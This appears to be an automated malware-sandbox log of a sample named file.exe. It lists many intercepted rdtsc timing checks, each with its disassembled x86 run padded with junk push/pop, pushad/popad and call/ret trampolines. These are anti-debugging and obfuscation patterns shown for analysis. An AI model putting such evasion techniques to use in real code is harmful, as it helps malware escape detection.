Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FEDD second address: 122FF41 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F4C80E07D78h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e js 00007F4C80E07D7Ch 0x00000034 xor dword ptr [ebp+122D1C6Ah], esi 0x0000003a push 00000000h 0x0000003c jmp 00007F4C80E07D87h 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FF41 second address: 122FF47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122FF47 second address: 122FF4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123098C second address: 1230996 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230996 second address: 123099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123099C second address: 12309A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12313B9 second address: 12313BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237CC2 second address: 1237CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4C80DFF196h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237CCD second address: 1237CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238E1E second address: 1238E8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4C80DFF19Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1C02h], eax 0x00000013 push dword ptr fs:[00000000h] 0x0000001a adc bx, 1FD6h 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 mov dword ptr [ebp+12446EBFh], ebx 0x0000002c mov eax, dword ptr [ebp+122D0045h] 0x00000032 and ebx, dword ptr [ebp+122D3224h] 0x00000038 push FFFFFFFFh 0x0000003a and ebx, dword ptr [ebp+122D36E0h] 0x00000040 nop 0x00000041 push esi 0x00000042 jmp 00007F4C80DFF1A5h 0x00000047 pop esi 0x00000048 push eax 0x00000049 jl 00007F4C80DFF1A4h 0x0000004f push eax 0x00000050 push edx 0x00000051 ja 00007F4C80DFF196h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239E29 second address: 1239E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239E2D second address: 1239E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B8CE second address: 123B8D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B8D3 second address: 123B916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4C80DFF196h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sub ebx, dword ptr [ebp+122D2D15h] 0x00000016 push 00000000h 0x00000018 xor edi, dword ptr [ebp+122D2B59h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F4C80DFF198h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a push eax 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B916 second address: 123B91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA3D second address: 123DA52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CB9D second address: 123CBA7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DA52 second address: 123DAD4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4C80DFF1A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d adc ebx, 6E8C339Fh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F4C80DFF198h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jmp 00007F4C80DFF1A6h 0x00000034 push 00000000h 0x00000036 or edi, 5CCC5DE1h 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007F4C80DFF19Fh 0x00000044 push edx 0x00000045 pop edx 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DAD4 second address: 123DAD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DAD8 second address: 123DAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DAE5 second address: 123DAF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F4C80E07D76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC62 second address: 123CC66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC66 second address: 123CC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC6C second address: 123CC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4C80DFF1A6h 0x00000008 jmp 00007F4C80DFF19Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123CC9B second address: 123CCA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123EC80 second address: 123EC9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4C80DFF19Eh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123EC9B second address: 123EC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FC3E second address: 123FC5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4C80DFF19Ch 0x0000000c popad 0x0000000d push eax 0x0000000e jp 00007F4C80DFF1A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240CFF second address: 1240D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F4C80E07D8Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D25 second address: 1240DA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4C80DFF1A7h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f jmp 00007F4C80DFF19Fh 0x00000014 mov edi, dword ptr [ebp+122D33ECh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F4C80DFF198h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov ebx, edi 0x00000039 push 00000000h 0x0000003b mov di, dx 0x0000003e call 00007F4C80DFF19Ah 0x00000043 adc ebx, 14F1F35Bh 0x00000049 pop edi 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push esi 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240DA0 second address: 1240DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240DAD second address: 1240DB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241CD9 second address: 1241D3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F4C80E07D78h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D1A50h], esi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F4C80E07D78h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 push eax 0x00000049 pushad 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FE6D second address: 123FE77 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123DC78 second address: 123DC82 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FE77 second address: 123FE7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242D23 second address: 1242DBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jns 00007F4C80E07D78h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 jc 00007F4C80E07D76h 0x0000001a jmp 00007F4C80E07D81h 0x0000001f popad 0x00000020 popad 0x00000021 nop 0x00000022 jmp 00007F4C80E07D85h 0x00000027 push 00000000h 0x00000029 call 00007F4C80E07D86h 0x0000002e cld 0x0000002f pop edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F4C80E07D78h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c jmp 00007F4C80E07D7Ch 0x00000051 push eax 0x00000052 push ebx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FE7C second address: 123FE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240FCB second address: 1240FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F4C80E07D88h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CAE second address: 1243CBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF19Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CBF second address: 1243CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4C80E07D7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CCE second address: 1243CF1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F4C80DFF19Ch 0x00000013 pushad 0x00000014 jc 00007F4C80DFF196h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243CF1 second address: 1243D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F4C80E07D78h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 clc 0x00000022 push 00000000h 0x00000024 mov bh, AFh 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007F4C80E07D78h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 mov di, 2D4Eh 0x00000046 mov bl, 5Ah 0x00000048 xchg eax, esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jc 00007F4C80E07D78h 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242FDD second address: 1242FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1242FE3 second address: 1242FE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244D82 second address: 1244DA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F4C80DFF196h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1244F74 second address: 1244F7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245030 second address: 1245034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245034 second address: 1245041 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245041 second address: 1245054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F4C80DFF198h 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E09A second address: 124E0B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F4C80E07D84h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E0B4 second address: 124E0CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4C80DFF1A4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E0CD second address: 124E0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E0D3 second address: 124E0E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F4C80DFF19Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C60 second address: 11F2C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4C80E07D7Bh 0x00000009 jp 00007F4C80E07D76h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C75 second address: 11F2C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4C80DFF19Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C94 second address: 11F2C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2C98 second address: 11F2CB1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jo 00007F4C80DFF196h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D8A4 second address: 124D8B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F4C80E07D7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D8B9 second address: 124D8BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DAF6 second address: 124DB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D7Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DC2E second address: 124DC32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DC32 second address: 124DC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DC38 second address: 124DC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253246 second address: 125324A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253D82 second address: 1253DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jno 00007F4C80DFF19Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4C80DFF1A4h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253DB1 second address: 1253DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4C80E07D7Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253DD8 second address: 1253DDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253F40 second address: 1253F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f push edi 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop edi 0x00000013 pop edi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F4C80E07D76h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253F69 second address: 1253FA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4C80DFF1A9h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12540C0 second address: 12540C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259703 second address: 125971A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4C80DFF19Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125971A second address: 1259726 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007F4C80E07D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259726 second address: 1259749 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4C80DFF198h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4C80DFF1A4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12598C5 second address: 12598C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259A0F second address: 1259A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259A13 second address: 1259A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259B5A second address: 1259B60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259B60 second address: 1259B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259B69 second address: 1259B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jnp 00007F4C80DFF19Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
